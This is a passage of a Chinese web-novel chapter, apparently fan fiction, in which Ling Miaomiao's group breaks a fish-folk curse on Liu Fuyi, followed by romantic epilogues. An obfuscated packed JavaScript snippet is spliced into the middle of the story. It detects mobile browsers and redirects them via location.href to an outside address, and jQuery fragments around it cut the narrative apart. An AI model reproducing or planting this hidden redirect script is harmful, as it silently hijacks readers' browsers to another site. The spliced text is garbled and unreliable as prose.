凌妙妙不知道为什么穿到了新的位面，柳大哥会变成柳妖，正如时空裂隙的波动，任何事情都有可能发生。 既然如此，那就只有走一步看一步了。 无独有偶，凌妙妙心想她要为慕声搜集到充足的水分，自然也得和这水域的深潭打交道了。 “何人在此鬼鬼祟祟？” 不远处深潭冒出一个长着犄角的鱼头人，手里拿着极为讽刺的鱼叉，气势汹汹朝三人奔来。 三人面面相觑一番，极为顺从被鱼头人巡逻小队压到了水域王宫。 “王上，就是这三个异类，深更半夜，鬼鬼祟祟。” 凌妙妙抬眼偷瞄。 坐在王座上的年长鱼头人缓缓伸出鱼蹼，扶了扶头顶那枚用鱼骨和夜明珠制成的王冠，接着哼了一声，一双突出的鱼眼睛扫视着众人。 过了好一会儿，那水域国王才拿着鱼杖戳了戳一旁的鱼丞相，厉声催促：“还不将这三人行径细细道来。” “公主大婚在即，他们还去骚扰驸马爷。” 驸马爷！ 凌妙妙心中猛地跳了跳，这走向，发展怎么似曾相识？ 柳大哥该不会因为被水域的鱼头人公主看上，宁死不从，就被强行吞了什么不该吞的…… “岂有此理！”愤愤然敲了敲鱼杖，水域国王气得站起来，青绿色且肥胖的嘟囔晃了晃，像极了某河豚。 “王上，依我看，后日公主大婚在即，不宜见血，不若便罚他们去狱中打扫卫生！” “言之有理，咱们水域从不养闲犯。这几个一看就是低贱的品种，鱼丞相交给你了！”水域国王打了个哈欠，紧接着被几条身形瘦长的人鱼美姬扶着进了宫殿内室。 “住手！镇域之宝，岂是尔等卑贱的平民能随意沾染的？离它远点儿！” 凌妙妙拿着肥鲶鱼须须制成的掸子扫着柜面，被身后人喝得手一抖。 “哎呦！”鱼管事临时受了鱼丞相之命来监督三人干活，本就鱼肚子有气无处撒，如今看到水族箱里的镶嵌着无数夜明珠和珍稀彩色珊瑚的小盒子，正在架子上摇摇欲坠，登时气得鱼头脸抖三抖。 “小的见识浅薄，还望大哥指点一二。”凌妙妙见他要朝自己发难，正要开口胡诌点什么，忽的被一旁的离笙抢话。 “对对，您大人有大量，鱼肚子里能撑船，让我们几个异族开开眼界。” 凌妙妙费了好几盘的花生米，和离笙两个一唱一和，这才从管事嘴里套出了话。 至于慕瑶，则趁着他们谈话的工夫，借着打扫卫生的由头，重新混进了那放着水族箱的密室，把里头的盒子偷了出来。 慕瑶随即悄然打开一看，里头竟是一枚涌动着晶亮光芒的水珠。 三人忙完，回到了水族监狱里蹲下，围成了一圈。 慕瑶晃了晃手里的物什，目光极为冷肃。 凌妙妙深吸一口气，面色犹疑。 “这样真的可行吗？” 离笙点点头，“刚刚趁着鱼管事喝多了，亲口套出来的话。” 用残余的断月剪加上眉黛笔的粉末，磨砺熬练出一把精致的小剪子，剪掉柳叶末梢。 就能让柳大哥变成柳妖的来自鱼头人族的诅咒被破坏，让柳大哥恢复正常。 “我总觉得事情没有那么简单。”凌妙妙忍不住嘀咕一声。 “所以我找到了这个。”慕瑶拿出了那枚做工极为醒目且华贵的小盒子。 多亏了离笙给的异典司的收纳袋，才能让她掩人耳目拿出来。 “那我们快些用了再想办法快些还回吧。”再晚一些，他们不仅会发现自家鱼头人公主的驸马不见了，还顺走了他们的镇域之宝。 “王上当真要这样做？” “待到公主大婚当天，就把那三个家伙全都炖了上桌开宴。” “驸马不会同意的吧？” “到时候不管他同不同意，反正公主若是不高兴，把驸马吃了，找下一个新驸马就是了。” 离笙收好投影，无声地看着面前两个静默的女子。 凌妙妙咬了咬唇，努力让自己不要吓得叫出声来。 慕瑶的指尖点了点盒子表面，“在妙妙还没赶到水域关前，我已经读过离公子从异典司取来的水域妖典录，这片水域自从被鱼头人族占领后，便鱼不聊生，许多珍稀的鱼种都要灭绝了。” “那怎么行！”凌妙妙对于保护自然生态的意识还是非常强烈的，心里原本对鱼头人族产生的恐惧和愧疚感，顿时如烟般消散无余。 “准确来说，这鱼头人族，并非异世种族，而是已然败坏的妖族。”离笙补充道，随即又望向凌妙妙，“得快些让柳公子苏醒，好让他驱动九玄收妖塔。” 慕瑶和凌妙妙对视一眼，她们了解柳拂衣的性格，知道他不会随意对妖出手。 可知他先前被漩涡卷入此地，肯定也是心存善念与这些鱼头人族相处，与它们堪堪周旋时，这才不慎着了它们的道，被暗算至此── “坐稳了。” 离笙驱动了瞬移符，示意对面两人抚稳了。 凌妙妙下意识护住了腰间的香囊，里头的光芒越发亮了。 “咔嚓”一声，柳叶落地。 随着水珠缓缓升起，至柳树顶端落下绵绵细雨，一阵光芒乍现，蒙蒙的迷雾中，一抹高大的身影朝三人缓缓踱步而来。 “瑶儿！” “拂衣！” 离笙和凌妙妙站在远处，默默望着潭边的两人相拥在一处。 离笙摊开手心的那枚水珠，转过头，眸中泛过一丝难以察觉的惆怅，语气低沉：“妙妙，该轮到慕声了。” 凌妙妙拿出了圆盆，把妖丹放入土中，紧接着水珠浮动在上空，竟直接融化成了水幕，眨眼瞬间，水意尽数被土壤吸收。 这就是──系统所说的，充足的水分！ 土壤渗透而出的红色光芒越发刺目，凌妙妙按捺着心头的激动，抱紧了盆土。 那么，接下来，她只需要为慕声找到合适的阳光！ “很快，很快我们就能见面了。”凌妙妙止不住喃喃，眼中竟染了些湿意。 离笙转过身，垂眸，掩去了眼角的落寞。 “岂有此理！” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15303237|167181||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “还我镇域之宝！” “鸠占鹊巢之辈，岂可大放厥词！”柳拂衣将慕瑶挡在身后，转身面对那深潭掀起的万丈高的水幕。 慕瑶却抽出了长剑，站在了柳拂衣的身侧，眼里尽是与柳拂衣并肩作战的坚决。 “这水珠，本叫鲛人泪，是原先这片水域的人鱼公主的嫁妆，人鱼王族却被蓄意谋划夺位的鱼头人族抢烧掳掠，洗劫一空。”离笙下意识拦住了凌妙妙，将她亦是挡在身后，解释道。 好一个吃绝户！ 凌妙妙听得怒从中起，水袖翻飞间，却被离笙制止： “他们可以的，眼下，你只需顾好慕声。” 凌妙妙僵住，下意识重新抱紧了那被她妥善放置在收纳盒的圆盆。 只见不远处的柳拂衣飞速念了一段口诀，慕瑶亦是身形灵活移动，从中辅佐。 顷刻间，风中凌厉，卷起岸边的漫天黄沙，另一边的水流拔地而起，波澜万顷，一时间声势浩大，让人听不清内容。 凌妙妙眯了眯眼，却有一长臂伸来，替她挡住了风沙。 不知过了多久，风声乍停，眼前重新恢复清明，凌妙妙揉了揉发痒的鼻尖，呛得咳了好几声。 眼前的深潭平静如镜，不远处的柳拂衣和慕瑶携手朝她走来。 刚刚那场恶战，结束了。 凌妙妙转头，要去拉离笙的手，却发现，树下那少年的身影躺在地上，紧闭着双眸，脸上更是失了血色。 腰间的工牌闪了闪，凌妙妙拿起一看，是离笙给她发的工作账号的消息： 【工号1125离笙：妙妙，我的新壳子到货了，先回家了。祝你和慕声，共赴归期，长长久久。】 凌妙妙眸光闪烁，颤抖着指尖，输入文字： 【工号0325：凌妙妙：也祝你新的生活愉快，工作顺利。】 ──离笙，也祝你，另觅良人，齐赴佳期。 ── 凌妙妙最近忙得不可开交，她在跟着网上博主的视频学养蚕。 雪蚕。你们要好好长大啊── 她给慕声准备的白色发带，要像蝴蝶一样的好看。 凌妙妙满心欢喜地看着结出的茧，眼底的笑意遮掩不住半分。 又一年的夏天到了。 “在做什么？” 凌妙妙扭头，对上了一双曜石幽深的眸子。 “红糖馒头。” 慕声抬手，指腹抹掉她嘴角蹭到的面粉，勾唇，正要说点什么，就被凌妙妙推搡着往水池边赶。 “哎呀，你快些净手，帮忙揉面，切菜，慕姐姐他们马上要来我们家做客了！” 慕声扬唇，被发带高高束起的马尾晃了晃，“是我的错，不该让你动手。” 下一刻，被慕声打横抱起的凌妙妙有些发懵，脸颊微红，“你做什么──青天白日的──” 慕声漆黑的眼底泛开了笑意，眼尾妖娆的红意简直要勾人心魄。 此刻无声的对视让人心跳加速，凌妙妙惊得别过头去。 被放在了树下乘凉，凌妙妙手里又被塞了一盆清凉解暑的糖水，仰头对着慕声正要说点什么，却被他俯身覆住了唇。 一吻作罢，凌妙妙忽地觉得怀里的糖水也都变得烫手，指尖颤抖得险些端不稳碗。 好在慕声眼疾手快，托住那碗，才没让新打好的冰块撒了一地。 她的唇被吮得发肿，嫣红的色泽比树下今年刚种的花还要浓烈，瞪了他一眼，艰难喘息道：“赶紧干活去。” 慕声幽幽地俯视着她，绯红的眼角顺着眉上扬，鼻尖贴近她的发顶，发间的栀子香依旧好闻许多，声音微哑：“我给你准备了礼物。” 凌妙妙诧异，随即又有些期待。 身为太仓郡守之女，什么好吃的好玩的没见过，但身为慕声身为她的夫君，在礼物这块倒是别出心裁。 先前慕声喜欢给自个儿梳发，耗费的梳发水巨大，而后又嘀咕说自个儿喜欢她披发── 起初，凌妙妙时常会披发，但这天气热了，着实难受得紧，想要把长发剪短的心思都有了。 很快，凌妙妙就收到了慕声的礼物。 各种花香熬炼的梳发水，一月不重样，不，花的种类很多，如今已经可以半年都不重样了…… 每次在房中，这厮果真还是喜欢自个儿披发的样子，不仅如此，还喜欢蹭蹭，到处闻…… 每次梳发不成──总会莫名其妙软了腰肢，被慕声摁在妆台前温存，终于，在凌妙妙坚持不懈的拒绝下，慕声才把那些玩意儿改成了洗发水。 眼看着，春日又要到了。 剥开了雪堆，凌妙妙瞥见了院子里石隙就能生存得极好的小芽，在自己研发的营养土的培植下，长得越发快了。 “妙妙。” “怎么了？” “你想回家吗？”慕声的目光落在了她腰间的工牌，此事他压在心里已然许久。 凌妙妙抬头，拽住了慕声的胳膊起身，拂去裙摆的尘埃，眼眸幽深，“想同我回家吗？” 慕声回忆他尚未完全苏醒时，还在香囊中，每每深夜，总能体会到她强压着心里的悲伤，但白日里装作无事，周旋于各个世界，处理各样难题时的倔强，如此机敏过人又敢爱敢恨的女子，不该被困于这一方天地中。 “妙妙，我愿意，陪你去看更广阔的天地。” ── 晃了晃手里的结界令，凌妙妙第n次催促这位工号0326的同事赶紧回到自己岗位去。 “又又又出逃？” “你的毕业典礼，我想……” “好了。我知道了。” 毕业典礼当晚，凌妙妙打开异典司分配的公寓大门，看着眼前的草莓蛋糕，还有一长串的星星蜡烛，一时间不知道该吐槽哪一点。 “搜集养一朵净化版的黑莲花所需要的资源，顺利记载入案，这份绩效奖可还满意？” 面对许主任发来的工作消息，毕业当晚入住夫妻员工公寓宿舍的凌妙妙有些哑然。 异典司不是一向以穷著称吗？ 怎么…… 凌妙妙目光瞟向对面的慕声，啧，看来这位劳模脱不开干系。 “子期──”她忍不住轻唤。 慕声颔首，眼眸在雾气中显得润泽，马尾摇摇晃晃的 许久不见，慕声的头发又长了。 “妙妙，我回来了。” 见到她波光恍惚的眼睛，慕声将她揽入怀中，一遍一遍告诉她这个安心的事实。 凌妙妙靠在他怀中，垂了垂眼睫，双手抱紧他的腰身，太好了，是真正的慕声。 “明天要出差。” “嗯？” “有个停尸间的案子。” 凌妙妙明白，异典司发来的工作消息，接下来又要解锁新地图了。 不过好在这回，她和真正的慕声在一起。 倏地拉住了他的手，凌妙妙缓缓弯眉，望着眼前鲜活的，对她始终如一的少年。 “欢迎回家，子期。” 两人相视一笑。 —— 离笙＋凌虞番外 “或许，我们之前见过？” “嘿，或许吧。因为，我可不是那个会喜欢柳拂衣的凌虞。”杀青仪式，接过捧花，凌虞瞥了眼身边的男主演，酸溜溜道。 “嗯，我的确也不是真正的慕声。”离笙笑答。过往种种，都被掩入时空的漩涡，不复提及了。 “多有趣，百年以前，你不是你，我也不是我。”凌虞笑得绚烂如画。 ──从前的凌虞不复存在，我只有现在。 凌虞坦然地面对镜头，在心里暗道。 星光颁奖大典。 那人一身黑色西装，在众人的惊讶目光下，在无数闪光灯摄像头的聚焦下，朝台阶上的一袭齐肩花瓣暖色礼裙的当红女星走去。 昔日银幕情侣，如今掌心接触，十指相扣。 从此，执子之手，愿与君同游，共享这星光灿烂，前途坦荡。 “谢谢你为我奔赴而来。我的，骑士？” “荣幸之至，我亲爱的公主殿下。”